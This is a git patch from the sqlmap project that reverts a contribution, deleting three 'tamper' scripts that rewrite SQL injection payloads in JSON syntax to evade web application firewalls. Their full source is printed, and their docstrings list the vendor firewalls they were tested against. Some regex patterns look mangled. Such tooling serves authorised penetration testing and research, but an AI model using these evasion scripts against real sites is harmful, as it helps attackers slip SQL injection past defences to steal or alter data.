From 5592f55cae43bb86de8eace3b2c425e69c5348f0 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Fri, 23 Dec 2022 15:59:12 +0100 Subject: [PATCH] Revert "JSON WAF bypass tamper scripts (#5260)" (#5273) This reverts commit 12e3ed14ae310608293aadeeff53760366bc3556. --- doc/THANKS.md | 3 - tamper/json_waf_bypass_mysql.py | 163 -------------------- tamper/json_waf_bypass_postgres.py | 237 ----------------------------- tamper/json_waf_bypass_sqlite.py | 178 ---------------------- 4 files changed, 581 deletions(-) delete mode 100644 tamper/json_waf_bypass_mysql.py delete mode 100644 tamper/json_waf_bypass_postgres.py delete mode 100644 tamper/json_waf_bypass_sqlite.py diff --git a/doc/THANKS.md b/doc/THANKS.md index fdbabaf57..dc49071a9 100644 --- a/doc/THANKS.md +++ b/doc/THANKS.md @@ -789,9 +789,6 @@ x, zhouhx, * for contributing a minor patch -Noam Moshe Claroty Team82 -* for contributing WAF scripts json_waf_bypass_postgres.py, json_waf_bypass_sqlite.py, json_waf_bypass_mysql.py - # Organizations Black Hat team, diff --git a/tamper/json_waf_bypass_mysql.py b/tamper/json_waf_bypass_mysql.py deleted file mode 100644 index e2b15d4dc..000000000 --- a/tamper/json_waf_bypass_mysql.py +++ /dev/null @@ -1,163 +0,0 @@ -#!/usr/bin/env python - -""" -Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) -See the file 'LICENSE' for copying permission -""" - -# Patterns breaks down SQLi payload into different compontets, and replaces the logical comparison. -pattern = r"(?i)(?P
.*)\s*\b(?PAND|OR)\b\s*(?P\(?\'.*?(?=|=|like)(?P\(?\'.*?(?.*)"
-import re, random, string
-
-from lib.core.enums import PRIORITY
-
-__priority__ = PRIORITY.HIGHEST
-
-def dependencies():
-    pass
-
-
-
-# Possible int payloads:
-# 1) JSON_LENGTH()
-# 2) json_depth
-# 3) JSON_EXTRACT()
-
-def generate_int_payload():
-    INT_FUNCTIONS = [generate_length_payload, generate_depth_paylod, generate_int_extract_payload]
-    return (random.choice(INT_FUNCTIONS))()
-
-
-# Possible STR payloads:
-# 1) SELECT JSON_KEYS('{"a": 1, "b": {"c": 30}}');
-# 2) JSON_EXTRACT
-# 3) JSON_QUOTE('null')
-
-def generate_str_payload():
-    print("generate_str_payload")
-    STR_FUNCTIONS = [generate_str_extract_payload, generate_quote_payload]
-    return (random.choice(STR_FUNCTIONS))()
-    return 'JSON_EXTRACT(\'{"a": "1"}\', \'$.a\') = \'1\''
-
-
-def generate_random_string(length=15):
-    str_length = random.randint(1,length)
-    return "".join(random.choice(string.ascii_letters) for i in range(str_length))
-
-def generate_random_int():
-    return random.randint(2, 10000)
-
-
-def generate_length_payload():
-    return f"JSON_LENGTH(\"{{}}\") <= {generate_random_int()}"
-
-
-def generate_depth_paylod():
-    return f"JSON_DEPTH(\"{{}}\") != {generate_random_int()}"
-
-
-def generate_quote_payload():
-    var = generate_random_string()
-    return f"JSON_QUOTE('{var}') = '\"{var}\"'"
-
-
-def generate_int_extract_payload():
-    return generate_extract_payload(isString=False)
-
-
-def generate_str_extract_payload():
-    return generate_extract_payload(isString=True)
-
-
-def generate_extract_payload(isString=False):
-    key = generate_random_string()
-    if isString:
-        value = generate_random_string()
-        return f'JSON_EXTRACT(\'{{"{key}": "{value}"}}\', \'$.{key}\') = \'{value}\''
-    value = generate_random_int()
-    return f'JSON_EXTRACT("{{\\"{key}\\": {value}}}", "$.{key}") = "{value}"'
-
-
-def generate_payload(isString, isBrackets):
-    payload = '(' if isBrackets else ""
-    if isString:
-        payload += generate_str_payload()[:-1] # Do not use the last ' because the application will add it.
-    else:
-        payload += generate_int_payload()
-
-    return payload
-
-
-def generate_random_payload():
-    if random.randint(0,1):
-        return generate_str_payload()
-    return generate_int_payload()
-
-def tamper(payload, **kwargs):
-    """
-        
-    Bypasses generic WAFs using JSON SQL Syntax.
-    For more details about JSON in MySQL - https://dev.mysql.com/doc/refman/5.7/en/json-function-reference.html
-
-    Tested against:
-        * MySQL v8.0 - however every version after v5.7.8 should work
-
-    Usage:
-        python3 sqlmap.py  --tamper json_waf_bypass_mysql.py
-
-    Notes:
-        * References: 
-            * https://claroty.com/team82/research/js-on-security-off-abusing-json-based-sql-to-bypass-waf 
-            * https://www.blackhat.com/eu-22/briefings/schedule/#js-on-security-off-abusing-json-based-sql-queries-28774
-        * Usefull for bypassing any JSON-unaware WAFs with minor-to-no adjusments
-        * JSON techniques were tested againts the following WAF vendors:
-            * Amazon AWS ELB
-            * CloudFlare
-            * F5 BIG-IP
-            * Palo-Alto Next Generation Firewall
-            * Imperva Firewall
-
-        * This script alters the SQLi payload by replacing the condition statement with JSON-specific payloads,
-          depending on the SQLi type. Here is a list of supported payload types: (int/string depends on the condition check type)
-
-        Possible int payloads:
-            1) JSON_LENGTH()
-            2) json_depth
-            3) JSON_EXTRACT()
-
-        Possible STR payloads:
-            1) SELECT JSON_KEYS('{"a": 1, "b": {"c": 30}}');
-            2) JSON_EXTRACT
-            3) JSON_QUOTE('null')
-
-    >>> tamper("' and 5626=9709 and 'kqkk'='kqkk")
-    ''' ' and 5626=9709  and JSON_EXTRACT('{"ilDQUNfX": "KuIjjFkFsok"}', '$.ilDQUNfX') = 'KuIjjFkFsok '''
-    >>> tamper('and 4515=8950--')
-    '''  and JSON_EXTRACT("{\"CoGqzQjy\": 3825}", "$.CoGqzQjy") = "3825" '''
-    """
-
-    payload = payload.replace(r'%20', " ")
-    #
-    retVal = payload
-
-    if payload:
-        match = re.search(pattern, payload)
-
-        if match:
-            pre = match.group('pre')
-
-            # Is our payload is a string.
-            isString = pre.startswith("'")
-            isBrackets = pre.startswith("')") or pre.startswith(")")
-            wafPayload = generate_payload(isString=isString, isBrackets=isBrackets)
-            retVal = f"{match.group('pre')} {match.group('relation')} {wafPayload}{match.group('post')}"
-
-        else:
-
-            if payload.lower().startswith("' union"):
-                wafPayload = generate_random_payload()
-
-                retVal = f"' and {wafPayload} {payload[1:]}" # replace ' union select... with ' and FALSE_WAF_BYPASS union select...
-
-    return retVal
-
diff --git a/tamper/json_waf_bypass_postgres.py b/tamper/json_waf_bypass_postgres.py
deleted file mode 100644
index bc368ebfd..000000000
--- a/tamper/json_waf_bypass_postgres.py
+++ /dev/null
@@ -1,237 +0,0 @@
-#!/usr/bin/env python
-
-"""
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
-See the file 'LICENSE' for copying permission
-"""
-
-# Patterns breaks down SQLi payload into different components, and replaces the logical comparison.
-pattern = r"(?i)(?P
.*)\s*\b(?PAND|OR)\b\s*(?P\(?\'.*?(?=|=|like)(?P\(?\'.*?(?.*)"
-pattern_extract_value = r"(?i)(?P
.*)\s*\b(?PAND|OR)\b\s*(?PEXTRACTVALUE.*)"
-pattern_when_where = r"(?i)(?P
.*)\s*\b(?PWHERE|WHEN)\b\s*(?P.*)"
-pattern_replace_case = r"(?i)(?P\(select.*when\s*\((?P.*?)=(?P.*?)\).*?then\s*(?P\(.*?\))\s*else\s*(?P\(.*?\)).*?end\)\))"
-import re, random, string
-
-from lib.core.enums import PRIORITY
-
-__priority__ = PRIORITY.HIGHEST
-
-
-def dependencies():
-    pass
-
-
-# Possible int payloads:
-# 1) #>>
-# 2) @>
-# 3) ->> (index)
-# 4) ->> (str)
-
-def generate_int_payload():
-    INT_FUNCTIONS = [generate_element_by_id_int_payload, generate_element_by_key_int_payload, generate_element_by_hashtag_int_payload, generate_json_left_contains_payload]
-    return (random.choice(INT_FUNCTIONS))()
-
-
-# Possible str payloads:
-# 1) ->> (str)
-# 2) ->> (index)
-# 3) #>>
-
-
-def generate_str_payload():
-    STR_FUNCTIONS = [generate_element_by_id_str_payload,generate_element_by_key_str_payload, generate_element_by_hashtag_str_payload]
-    return (random.choice(STR_FUNCTIONS))()
-
-
-def generate_random_string(length=15):
-    str_length = random.randint(1,length)
-    return "".join(random.choice(string.ascii_letters) for i in range(str_length))
-
-
-def generate_random_int():
-    return random.randint(2, 10000)
-
-
-def generate_element_by_id_payload(isString):
-    random_generator = generate_random_string if isString else generate_random_int
-    values = []
-    for i in range(3):
-        values.append(random_generator())
-    random_index = random.randint(0,2)
-    if isString:
-        return f'\'["{values[0]}", "{values[1]}", "{values[2]}"]\'::jsonb->>{random_index} = \'{values[random_index]}\''
-    return f"(\'[{values[0]}, {values[1]}, {values[2]}]\'::jsonb->>{random_index})::int8 = {values[random_index]}"
-
-
-def generate_element_by_id_int_payload():
-    return generate_element_by_id_payload(isString=False)
-
-
-def generate_element_by_id_str_payload():
-    return generate_element_by_id_payload(isString=True)
-
-
-def generate_element_by_key_payload(isString):
-    random_generator = generate_random_string if isString else generate_random_int
-    keys = []
-    values = []
-    for i in range(3):
-        keys.append(generate_random_string())  # Json must always have a string as a value
-        values.append(random_generator())
-    random_index = random.randint(0, 2)
-    if isString:
-        return f"'{{\"{keys[0]}\" : \"{values[0]}\", \"{keys[1]}\" : \"{values[1]}\", \"{keys[2]}\" : \"{values[2]}\"}}'::jsonb->>'{keys[random_index]}' = '{values[random_index]}'"
-    return f"('{{\"{keys[0]}\" : {values[0]}, \"{keys[1]}\" : {values[1]}, \"{keys[2]}\" : {values[2]}}}'::jsonb->>'{keys[random_index]}')::int8 = {values[random_index]}"
-
-
-def generate_element_by_key_int_payload():
-    return generate_element_by_key_payload(isString=False)
-
-
-def generate_element_by_key_str_payload():
-    return generate_element_by_key_payload(isString=True)
-
-
-def generate_element_by_hashtag_payload(isString):
-    random_generator = generate_random_string if isString else generate_random_int
-    keys = []
-    values = []
-    for i in range(3):
-        keys.append(generate_random_string())  # Json must always have a string as a value
-        values.append(random_generator())
-    random_index = random.randint(0, 2)
-    if isString:
-        return f"'{{\"{keys[0]}\" : \"{values[0]}\", \"{keys[1]}\" : \"{values[1]}\", \"{keys[2]}\" : \"{values[2]}\"}}'::jsonb%23>>'{{{keys[random_index]}}}' = '{values[random_index]}'"
-    return f"('{{\"{keys[0]}\" : {values[0]}, \"{keys[1]}\" : {values[1]}, \"{keys[2]}\" : {values[2]}}}'::jsonb%23>>'{{{keys[random_index]}}}')::int8 = {values[random_index]}"
-
-
-def generate_element_by_hashtag_int_payload():
-    return generate_element_by_hashtag_payload(isString=False)
-
-
-def generate_element_by_hashtag_str_payload():
-    return generate_element_by_hashtag_payload(isString=True)
-
-
-def generate_json_left_contains_payload():
-    keys = []
-    values = []
-    for i in range(3):
-        keys.append(generate_random_string())  # Json must always have a string as a value
-        values.append(generate_random_int())
-    random_index = random.randint(0, 2)
-    return f"'{{\"{keys[0]}\" : {values[0]}, \"{keys[1]}\" : {values[1]}, \"{keys[2]}\" : {values[2]}}}'::jsonb @> '{{\"{keys[random_index]}\": {values[random_index]}}}'"
-
-
-def generate_payload(isString, isBrackets):
-    payload = '(' if isBrackets else ""
-    if isString:
-        payload += generate_str_payload()[:-1]  # Do not use the last ' because the application will add it.
-    else:
-        payload += generate_int_payload()
-
-    return payload
-
-
-def generate_random_payload():
-    if random.randint(0,1):
-        return generate_str_payload()
-    return generate_int_payload()
-
-def tamper(payload, **kwargs):
-    """
-    
-    Bypasses generic WAFs using JSON SQL Syntax.
-
-    For more details about JSON in PostgreSQL - https://www.postgresql.org/docs/9.3/functions-json.html
-
-    Tested against:
-        * PostgreSQL v15.0 - however every version after v9.2 should work
-
-    Usage:
-        python3 sqlmap.py  --tamper json_waf_bypass_postgres.py
-
-    Notes:
-
-        * References: 
-            * https://claroty.com/team82/research/js-on-security-off-abusing-json-based-sql-to-bypass-waf 
-            * https://www.blackhat.com/eu-22/briefings/schedule/#js-on-security-off-abusing-json-based-sql-queries-28774
-        * Usefull for bypassing any JSON-unaware WAFs with minor-to-no adjusments
-        * JSON techniques were tested againts the following WAF vendors:
-            * Amazon AWS ELB
-            * CloudFlare
-            * F5 BIG-IP
-            * Palo-Alto Next Generation Firewall
-            * Imperva Firewall
-
-        * This script alters the SQLi payload by replacing the condition statement with JSON-specific payloads,
-          depending on the SQLi type. Here is a list of supported payload types: (int/string depends on the condition check type)
-
-        Possible int payloads:
-            1) #>>
-            2) @>
-            3) ->> (index)
-            4) ->> (str)
-
-        Possible str payloads:
-            1) ->> (str)
-            2) ->> (index)
-            3) #>>
-
-    >>> tamper("' and 5626=9709 and 'kqkk'='kqkk")
-    ''' ' and 5626=9709  and '["cyelIKsSqxw", "TjFXJ", "p"]'::jsonb->>1 = 'TjFXJ '''
-    >>> tamper('and 4515=8950')
-    '''  and ('{"znxqmFaPSFPHbL" : 9783, "thtt" : 3922, "EhFySUTUc" : 2490}'::jsonb%23>>'{thtt}')::int8 = 3922 '''
-    """
-    payload = payload.replace(r'%20', " ")  # Fix regex for later
-    payload = payload.lower().replace("union all", "union")  # Replace union all with union in order to bypass many common WAFs
-    bad_string_match = re.search(r"(from \(select \d+)", payload)  # Replaces suffix identified by many WAFs
-
-    if bad_string_match:
-        payload = payload[:payload.find(bad_string_match.group(1))] + f"--{generate_random_string()} "
-
-    retVal = payload
-
-    if payload:
-
-        match = re.search(pattern, payload)
-
-        if match:
-            pre = match.group('pre')
-            # Is our payload a string.
-            isString = pre.startswith("'")
-            isBrackets = pre.startswith("')") or pre.startswith(")")
-            wafPayload = generate_payload(isString=isString, isBrackets=isBrackets)
-            retVal = f"{match.group('pre')} {match.group('relation')} {wafPayload}{match.group('post')}"
-
-        elif payload.lower().startswith("' union"):  # Increase evasiveness in union payloads
-            wafPayload = generate_random_payload()
-            retVal = f"' and {wafPayload} {payload[1:]}"  # replace ' union select... with ' and FALSE_WAF_BYPASS union select...
-
-        else:
-            extract_value_match = re.search(pattern_extract_value, payload)
-
-            if extract_value_match:  # Replaces extractvalue because many WAFs target it
-                wafPayload = generate_random_payload()
-                retVal = f"{extract_value_match.group('pre')} {extract_value_match.group('relation')} {wafPayload} {extract_value_match.group('relation')} {extract_value_match.group('extractValueRest')}"
-
-            else:
-                condition_match = re.match(pattern_when_where, payload)
-
-                if condition_match:  # Replaces when/where payloads with regular payloads because many WAFs target this keywords
-                    wafPayload = generate_random_payload()
-                    retVal = f"{condition_match.group('pre')} {condition_match.group('condition')} {wafPayload} and {condition_match.group('rest')}"
-
-        case_match = re.search(pattern_replace_case, retVal)
-
-        if case_match:  # Replaces case statements because many WAFs target this syntax
-
-            # Check if the case statement expects the left or right option
-            if case_match.group("leftComp") == case_match.group("rightComp"):
-                retVal = retVal.replace(case_match.group('all'), case_match.group('firstCase'))
-
-            else:
-                retVal = retVal.replace(case_match.group('all'), case_match.group('secondCase'))
-
-    return retVal
-
diff --git a/tamper/json_waf_bypass_sqlite.py b/tamper/json_waf_bypass_sqlite.py
deleted file mode 100644
index ce0c4507e..000000000
--- a/tamper/json_waf_bypass_sqlite.py
+++ /dev/null
@@ -1,178 +0,0 @@
-#!/usr/bin/env python
-
-"""
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
-See the file 'LICENSE' for copying permission
-"""
-
-# Patterns breaks down SQLi payload into different components, and replaces the logical comparison.
-pattern = r"(?i)(?P
.*)\s*\b(?PAND|OR)\b\s*(?P\(?\'.*?(?=|=|like)(?P\(?\'.*?(?.*)"
-import re, random, string
-
-from lib.core.enums import PRIORITY
-
-__priority__ = PRIORITY.HIGHEST
-DEBUG = False
-
-
-def dependencies():
-	pass
-
-
-# Possible int payloads:
-# 1) JSON_LENGTH()
-# 2) json_depth
-# 3) JSON_EXTRACT()
-# 3) JSON_EXTRACT operator
-
-def generate_int_payload():
-	INT_FUNCTIONS = [generate_length_payload, generate_int_extract_payload, generate_int_extract_operator_payload]
-	return (random.choice(INT_FUNCTIONS))()
-
-
-# Possible STR payloads:
-# 2) JSON_EXTRACT
-# 2) JSON_EXTRACT Operator
-# 3) JSON_QUOTE('null')
-
-def generate_str_payload():
-	STR_FUNCTIONS = [generate_str_extract_payload, generate_quote_payload, generate_str_extract_operator_payload]
-	return (random.choice(STR_FUNCTIONS))()
-
-
-def generate_random_string(length=15):
-	str_length = random.randint(1, length)
-	return "".join(random.choice(string.ascii_letters) for i in range(str_length))
-
-
-def generate_random_int():
-	return random.randint(2, 10000)
-
-
-def generate_length_payload():
-	rand_int = generate_random_int()
-	return f"JSON_ARRAY_LENGTH(\"[]\") <= {generate_random_int()}"
-
-
-def generate_quote_payload():
-	var = generate_random_string()
-	return f"JSON_QUOTE('{var}') = '\"{var}\"'"
-
-
-def generate_int_extract_payload():
-	return generate_extract_payload(isString=False)
-
-
-def generate_str_extract_payload():
-	return generate_extract_payload(isString=True)
-
-
-def generate_int_extract_operator_payload():
-	return generate_extract_operator_payload(isString=False)
-
-
-def generate_str_extract_operator_payload():
-	return generate_extract_operator_payload(isString=True)
-
-
-def generate_extract_payload(isString=False):
-	key = generate_random_string()
-	if isString:
-		value = generate_random_string()
-		return f'JSON_EXTRACT(\'{{"{key}": "{value}"}}\', \'$.{key}\') = \'{value}\''
-	value = generate_random_int()
-	return f'JSON_EXTRACT("{{""{key}"": {value}}}", "$.{key}") = {value}'
-
-
-def generate_extract_operator_payload(isString=False):
-
-	key = generate_random_string()
-	if isString:
-		value = generate_random_string()
-		return f'\'{{"{key}": "{value}"}}\'->> \'$.{key}\' = \'{value}\''
-	value = generate_random_int()
-	return f'"{{""{key}"": {value}}}" ->> "$.{key}" = {value}'
-
-
-def generate_payload(isString, isBrackets):
-	payload = '(' if isBrackets else ""
-	if isString:
-		payload += generate_str_payload()[:-1]  # Do not use the last ' because the application will add it.
-	else:
-		payload += generate_int_payload()
-
-	return payload
-
-
-def generate_random_payload():
-	if random.randint(0, 1):
-		return generate_str_payload()
-	return generate_int_payload()
-
-
-def tamper(payload, **kwargs):
-	"""
-        
-    Bypasses generic WAFs using JSON SQL Syntax. 
-
-    For more details about JSON in SQLite - https://www.sqlite.org/json1.html
-
-    Tested against:
-        * SQLite v3.39.4 - however every version after v3.38.0 should work
-
-    Usage:
-        python3 sqlmap.py  --tamper json_waf_bypass_sqlite.py
-
-    Notes:
-
-    	* References: 
-            * https://claroty.com/team82/research/js-on-security-off-abusing-json-based-sql-to-bypass-waf 
-            * https://www.blackhat.com/eu-22/briefings/schedule/#js-on-security-off-abusing-json-based-sql-queries-28774
-        * Usefull for bypassing any JSON-unaware WAFs with minor-to-no adjusments
-        * JSON techniques were tested againts the following WAF vendors:
-            * Amazon AWS ELB
-            * CloudFlare
-            * F5 BIG-IP
-            * Palo-Alto Next Generation Firewall
-            * Imperva Firewall
-
-        * This script alters the SQLi payload by replacing the condition statement with JSON-specific payloads,
-          depending on the SQLi type. Here is a list of supported payload types: (int/string depends on the condition check type)
-
-        Possible int payloads:
-			1) JSON_LENGTH()
-			2) json_depth
-			3) JSON_EXTRACT()
-			3) JSON_EXTRACT operator
-
-        Possible STR payloads:
-			2) JSON_EXTRACT
-			2) JSON_EXTRACT Operator
-			3) JSON_QUOTE('null')
-
-    >>> tamper("' and 5626=9709 and 'kqkk'='kqkk")
-    ''' ' and 5626=9709  and JSON_QUOTE('UG') = '"UG" '''
-    >>> tamper('and 4515=8950')
-    '''  and JSON_ARRAY_LENGTH("[]") <= 9100 '''
-    """
-	retVal = payload
-
-	if payload:
-		match = re.search(pattern, payload)
-
-		if match:
-			pre = match.group('pre')
-
-			# Is our payload is a string.
-			isString = pre.startswith("'")
-			isBrackets = pre.startswith("')") or pre.startswith(")")
-			wafPayload = generate_payload(isString=isString, isBrackets=isBrackets)
-			retVal = f"{match.group('pre')} {match.group('relation')} {wafPayload}{match.group('post')}"
-
-		else:
-
-			if payload.lower().startswith("' union"):
-				wafPayload = generate_random_payload()
-				retVal = f"' and {wafPayload} {payload[1:]}"  # replace ' union select... with ' and FALSE_WAF_BYPASS union select...
-
-	return retVal